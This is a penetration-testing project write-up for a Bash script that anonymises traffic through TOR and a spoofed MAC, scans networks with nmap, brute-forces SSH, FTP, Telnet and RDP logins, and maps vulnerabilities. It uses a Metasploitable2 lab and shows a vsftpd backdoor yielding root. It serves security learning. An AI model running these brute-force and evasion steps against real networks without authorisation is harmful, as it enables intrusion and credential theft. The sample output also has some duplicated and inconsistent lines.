



PENETRATION TESTING | PROJECT: VULNER

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#|
#|          Bash Script for Penetration Testing
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#|  ▶ Checks for required utilities and internet connection
#|  ▶ Automatically installs and starts 'nipe' to route traffic through the TOR network
#|  ▶ Masks your MAC address and requests a new IP address
#|  ▶ Gets user input: target network, output directory, and scan mode (Basic/Full)
#|  ▶ Basic mode: scans TCP/UDP, detects service versions, and checks weak passwords
#|  ▶ Full mode: includes NSE scripts and vulnerability mapping with Searchsploit
#|  ▶ Tests weak credentials for SSH, RDP, FTP, and TELNET
#|  ▶ Logs results, allows searching inside them, and saves everything to a ZIP archive
#|  ▶ Metasploitable2 was used as a testbed for development and debugging
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#|          Requires root privileges!
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1. Getting the User Input

1.1 Get from the user a network to scan.

```
# Prompt the user to enter an IP address to scan
read -p $'\e[31m[!]\e[0m\e[34m Enter network address/mask (CIDR), e.g., 192.168.0.0/24: \e[0m' network

if [[ ! "$network" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/[0-9]+$ ]]; then
    echo -e "\e[91m[!] Wrong format. Example: 192.168.0.0/24\e[0m\n"
    SELECT_SCAN_METOD
fi
```

```
[!] Enter network address/mask (CIDR), e.g., 192.168.0.0/24: 192.168.29.0/24
```

1.2 Get from the user a name for the output directory.

```
# Prompt the user to enter a folder name where scan results will be stored
read -p $'\e[31m[!]\e[0m\e[34m Enter folder name for scan results: \e[0m' working_dir
```

```
[!] Enter folder name for scan results: Horns&HoovesLLC
```

1.3 Allow the user to choose 'Basic' or 'Full'.

```
while true; do
    # Prompt the user to choose scan mode: Basic or Full
    read -p $'\e[31m[?]\e[0m\e[34m Choose scan mode: [B]asic or [F]ull: \e[0m' scan_mode_raw
    # Normalize scan mode to readable form
    if [[ "$scan_mode_raw" =~ ^[Bb]$ ]]; then
        scan_mode="Basic"
        break
    elif [[ "$scan_mode_raw" =~ ^[Ff]$ ]]; then
        scan_mode="Full"
        break
    else
        echo -e "\e[91m[!] Wrong choice. Example: B or F\e[0m"
    fi
done
```

```
[?] Choose scan mode: [B]asic or [F]ull: f
```

1.3.1 Basic: scans the network for TCP including the service version and weak passwords.

```
# BASIC_SCAN
# Runs a basic scan: TCP, version detection, and basic brute-force.
BASIC_SCAN()
{
    # Print starting message with color formatting
    echo -e "\n\e[31m[!]\e[0m\e[32m Starting BASIC scan...\e[0m"
```

```
[!] Starting BASIC scan...
[*] Scanning: 192.168.29.2
[*] Scanning: 192.168.29.129
```

```
# Run nmap scan with service/version detection and OS detection, output XML to the IP directory
nmap -Pn -sS -sV ${ip} -oX "$host_dir/res_tcp_${ip}.xml" -oN "$host_dir/res_tcp_${ip}.txt" > /dev/null 2>&1 &
SPINNER $!
```

```
if [[ "$protocol" == "ftp" ]]; then
    # Run FTP brute-force attack using nmap
    nmap -p 21 "$ip" --script ftp-brute --script-args "$script_args" -oN "$host_dir/nmap_ftp_brute_${ip}.txt" > /dev/null 2>&1 &
    SPINNER $!
```

```
[*] Searching for weak passwords on 192.168.29.129 ...
[>>] Trying ftp on 192.168.29.129 ...
[+] Weak FTP credentials found for 192.168.29.129 (see: WidgetsInc/192.168.29.129/nmap_ftp_brute_192.168.29.129.txt)
[>>] Trying ssh on 192.168.29.129 ...
[+] Weak SSH credentials found for 192.168.29.129 (see: WidgetsInc/192.168.29.129/nmap_ssh_brute_192.168.29.129.txt)
[>>] Trying telnet on 192.168.29.129 ...
[+] Weak Telnet credentials found for 192.168.29.129 (see: WidgetsInc/192.168.29.129/nmap_telnet_brute_192.168.29.129.txt)
```

1.3.2 Full: include Nmap Scripting Engine (NSE), weak passwords, and vulnerability analysis.

```
# FULL SCAN
# Performs a complete scan for each host in live_hosts.txt
FULL_SCAN() {

    # Print starting message in colored format
    echo -e "\n\e[31m[!]\e[0m\e[32m Starting FULL scan...\e[0m"
```

```
[!] Starting FULL scan...
[*] Scanning: 192.168.29.2
```

```
# TCP scan: service/version detection, OS detection
nmap -Pn -sC -sV -O "${ip}" -oX "$host_dir/res_tcp_${ip}.xml" -oN "$host_dir/res_tcp_${ip}.txt" > /dev/null 2>&1 &
SPINNER $!
wait $!

# UDP scan: top 10 ports, service detection
nmap -Pn -sU --top-ports 10 -sV "${ip}" -oX "$host_dir/res_udp_${ip}.xml" -oN "$host_dir/res_udp_${ip}.txt" > /dev/null 2>&1 &
SPINNER $!
wait $!
```

```
[*] Searching for weak passwords on 192.168.29.129...
[>>] Trying ftp on 192.168.29.129 ...
[+] Weak FTP credentials found for 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/nmap_ftp_brute_192.168.29.129.txt)
[>>] Trying ssh on 192.168.29.129 ...
[+] Weak SSH credentials found for 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/nmap_ssh_brute_192.168.29.129.txt)
[>>] Trying telnet on 192.168.29.129 ...
[+] Weak Telnet credentials found for 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/nmap_telnet_brute_192.168.29.129.txt)
```

1.4 Make sure the input is valid.

```
# Show summary and ask for confirmation
echo -e "\n\e[31m[*]\e[0m\e[32m Please verify the entered data:\e[0m"
echo ""
echo -e "    Target network : $network"
echo -e "    Scan mode      : $scan_mode"
echo -e "    Output folder  : $working_dir"

while true; do
    read -p "${'\e[31m[?]\e[0m\e[34m Is everything correct? (Y/N): \e[0m'}" validation
    if [[ "$validation" =~ ^[Yy]$ ]]; then
```

```
[*] Please verify the entered data:
Please verify the entered data:
Target network : 192.168.29.0/24
Scan mode      : Full
Output folder  : Horns&HoovesLLC
Output folder  : WidgetsInc
[?] Is everything correct? (Y/N): y
```

2. Weak Credentials

2.1 Look for weak passwords used in the network for login services.

```
# WEAK_CREDENTIALS
# Attempts to discover weak credentials on open services using Nmap scripts and Hydra.
# SSH, FTP, and Telnet are scanned using Nmap scripts.
# RDP is scanned using Hydra because Nmap lacks RDP brute-force support.
WEAK_CREDENTIALS()
```

```
# Common script arguments for nmap brute-force scripts
script_args="userdb=$data/usernames.lst,passdb=$passwd_lst,brute.threads=10"

# Process each detected protocol individually
for protocol in $(cat "$host_dir/protocol_for_scan.txt"); do
    echo -e "\e[33m[>>] Trying $protocol on $ip...\e[0m"
```

2.1.1 Have a built-in password.lst to check for weak passwords.

```
# Download usernames and passwords lists to local directory
wget --no-check-certificate -O "$data/usernames.lst" "https://drive.google.com/uc?export=download&id=1mPSHpfd-P35FNv4r4nQVxfJmAesVLER" >/dev/null 2>&1
wget --no-check-certificate -O "$data/passwords.lst" "https://drive.google.com/uc?export=download&id=1dCdCBwTg15ZeUmTyZ7YyU70xb3mccGAu" >/dev/null 2>&1

read -p '\n\e[31m[?] \e[0m\e[34m Choose password list: [S]tandard or [C]ustom: \e[0m' passwd_lst_raw
if [[ "$passwd_lst_raw" =~ ^[Ss]$ ]]; then
    passwd_lst="$data/passwords.lst"
    break
```

```
[?] Choose password list: [S]tandard or [C]ustom: s
```

2.1.2 Allow the user to supply their own password list.

```
# CONFIGURE_WORDLISTS
# Downloads or sets up required wordlists for brute-force operations.
CONFIGURE_WORDLISTS() {
    while true; do
        # Prompt the user to choose between standard or custom password list
        read -p '\n\e[31m[?] \e[0m\e[34m Choose password list: [S]tandard or [C]ustom: \e[0m' passwd_lst_raw

        elif [[ "$passwd_lst_raw" =~ ^[Cc]$ ]]; then
            # Ask user to provide full path to their custom password list
            read -p '\e[31m[!] \e[0m\e[34m Enter the full path to your custom password list: \e[0m' custom_passwd_lst
            echo ""
            passwd_lst="$custom_passwd_lst"
            break
```

```
[?] Choose password list: [S]tandard or [C]ustom: c
[!] Enter the full path to your custom password list: /home/kali/Desktop/data/passwords.lst
```

2.2 Login services to check include: SSH, RDP, FTP, and TELNET.

```
# WEAK_CREDENTIALS
# Attempts to discover weak credentials on open services using Nmap scripts and Hydra.
# SSH, FTP, and Telnet are scanned using Nmap scripts.
# RDP is scanned using Hydra because Nmap lacks RDP brute-force support.
WEAK_CREDENTIALS() {
    # Iterate over each IP address from the list of live hosts
    for ip in $(cat "$working_dir/live_hosts.txt"); do
        host_dir="$working_dir/$ip"
        tcp_file="$host_dir/res_tcp_${ip}.txt"

        echo -e "\e[31m[*]\e[0m\e[32m Searching for weak passwords on $ip...\e[0m"
```

```
[*] Searching for weak passwords on 192.168.29.2...
[*] Searching for weak passwords on 192.168.29.129...
[>>] Trying ftp on 192.168.29.129...
[+] Weak FTP credentials found for 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/nmap_ftp_brute_192.168.29.129.txt)
[>>] Trying ssh on 192.168.29.129...
[+] Weak SSH credentials found for 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/nmap_ssh_brute_192.168.29.129.txt)
[>>] Trying telnet on 192.168.29.129...
[+] Weak Telnet credentials found for 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/nmap_telnet_brute_192.168.29.129.txt)
```

3. Mapping Vulnerabilities

3.1 Mapping vulnerabilities should only take place if Full was chosen.

```
# MAPPING
# Processes scan results, extracts open services, and runs vulnerability scan
MAPPING() {

    # Receive the IP argument passed from FULL_SCAN
    local host="$1"
    local host_dir="$working_dir/$host"

    echo -e "\e[33m[>>] Mapping for: $host\e[0m"
```

```
[!] Starting FULL scan...
[*] Scanning: 192.168.29.2
[>>] Mapping for: 192.168.29.2
[-] No vulnerabilities detected on 192.168.29.2
[*] Scanning: 192.168.29.129
[>>] Mapping for: 192.168.29.129
[+] Vulnerable services found on 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/mapping_tcp_192.168.29.129.html)
```

3.2 Display potential vulnerabilities via NSE and Searchsploit.

```
# If open ports exist, run nmap vulnerability scripts
if [ -n "$ports" ]; then
    nmap -p"$ports" --script vuln "$host" -oX "$host_dir/mapping_tcp_${host}.xml" -oN "$host_dir/mapping_tcp_${host}.txt" > /dev/null 2>&1 &
    SPINNER $!
    wait $!
[+] Vulnerable services found on 192.168.29.129 (see: Horns&HoovesLLC/192.168.29.129/mapping_tcp_192.168.29.129.html)
```

Port	State (toggle closed [0] filtered [0])	Service	Reason
21	tcp	open	ftp
	ftp-vsftpd-backdoor	VULNERABLE: vsFTPD version 2.3.4 backdoor State: VULNERABLE (Exploitable) IDs: BID:48539 CVE:CVE-2011-2523 vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04. Disclosure date: 2011-07-03 Exploit results: Shell command: id Results: uid=0(root) gid=0(root) References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html https://www.securityfocus.com/bid/48539	

4. Log Results

4.1 During each stage, display the stage in the terminal.

```
[!] Starting FULL scan...  
[*] Scanning: 192.168.29.2
```

```
[!] Opening a shell in 'Horns&HoovesLLC'.
```

```
[?] Choose password list: [S]tandard or [C]ustom: s
```

```
[*] Searching for weak passwords on 192.168.29.129 ...
```

```
[>>] Mapping for: 192.168.29.129
```

```
[!] Scan completed.
```

```
[+] Results saved to: Horns&HoovesLLC.zip
```

4.2 At the end, show the user the found information.

```
Horns&HoovesLLC  
— 192.168.29.129  
  — mapping_tcp_192.168.29.129.html  
  — mapping_tcp_192.168.29.129.txt  
  — mapping_tcp_192.168.29.129.xml  
  — nmap_ftp_brute_192.168.29.129.txt  
  — nmap_ssh_brute_192.168.29.129.txt  
  — nmap_telnet_brute_192.168.29.129.txt  
  — protocol_for_scan.txt  
  — res_tcp_192.168.29.129.html  
  — res_tcp_192.168.29.129.txt  
  — res_tcp_192.168.29.129.xml  
  — res_udp_192.168.29.129.html  
  — res_udp_192.168.29.129.txt  
  — res_udp_192.168.29.129.xml  
— 192.168.29.2  
  — mapping_tcp_192.168.29.2.txt  
  — protocol_for_scan.txt  
  — res_tcp_192.168.29.2.html  
  — res_tcp_192.168.29.2.txt  
  — res_tcp_192.168.29.2.xml  
  — res_udp_192.168.29.2.html  
  — res_udp_192.168.29.2.txt  
  — res_udp_192.168.29.2.xml  
— live_hosts.txt
```

4.3 Allow the user to search inside the results.

```
# Start a temporary interactive shell with a custom intro message
bash --rcfile <(echo "echo -e '\e[33m[!] This shell is opened inside the SEARCH_RESULTS function for search and post-scan result processing.\e[0m';
echo -e '\e[33m[!] When finished, type exit and press Enter to return to the main program.\e[0m'\n")
```

```
[!] Opening a shell in 'Horns&HoovesLLC'.
[!] This shell is opened inside the SEARCH_RESULTS function for search and post-scan result processing.
[!] When finished, type exit and press Enter to return to the main program.n
root@kali:/home/kali/Desktop/PenetrationTesting/Horns&HoovesLLC# ls -la
total 20
drwxr-xr-x 4 root root 4096 Aug 16 10:38 .
drwxrwxr-x 8 kali kali 4096 Aug 16 10:36 ..
drwxr-xr-x 2 root root 4096 Aug 16 10:47 192.168.29.129
drwxr-xr-x 2 root root 4096 Aug 16 10:46 192.168.29.2
-rw-r--r-- 1 root root 28 Aug 16 10:36 live_hosts.txt
root@kali:/home/kali/Desktop/PenetrationTesting/Horns&HoovesLLC# exit
exit
```

4.4 Allow to save all results into a Zip file.

```
# ZIP_RESULTS
# Offers the user an option to archive all scan results into a ZIP file named after the working directory.
# Provides a confirmation message when the archive is created.
ZIP_RESULTS() {
    while true; do
        # Ask user if they want to archive results
        read -p $'\n\e[31m[?] \e[0m\e[34m Save all results into a ZIP file? (Y/N): \e[0m' zip_choice
```

```
[?] Save all results into a ZIP file? (Y/N): y
[+] Results saved to: Horns&HoovesLLC.zip
```

```
(root@kali)-[/home/kali/Desktop/PenetrationTesting]
# ll
total 544
drwxrwxr-x 2 kali kali 4096 Aug 13 08:58 data
drwxr-xr-x 4 root root 4096 Aug 16 10:38 'Horns&HoovesLLC'
-rw-r--r-- 1 root root 56876 Aug 16 10:48 'Horns&HoovesLLC.zip'
```

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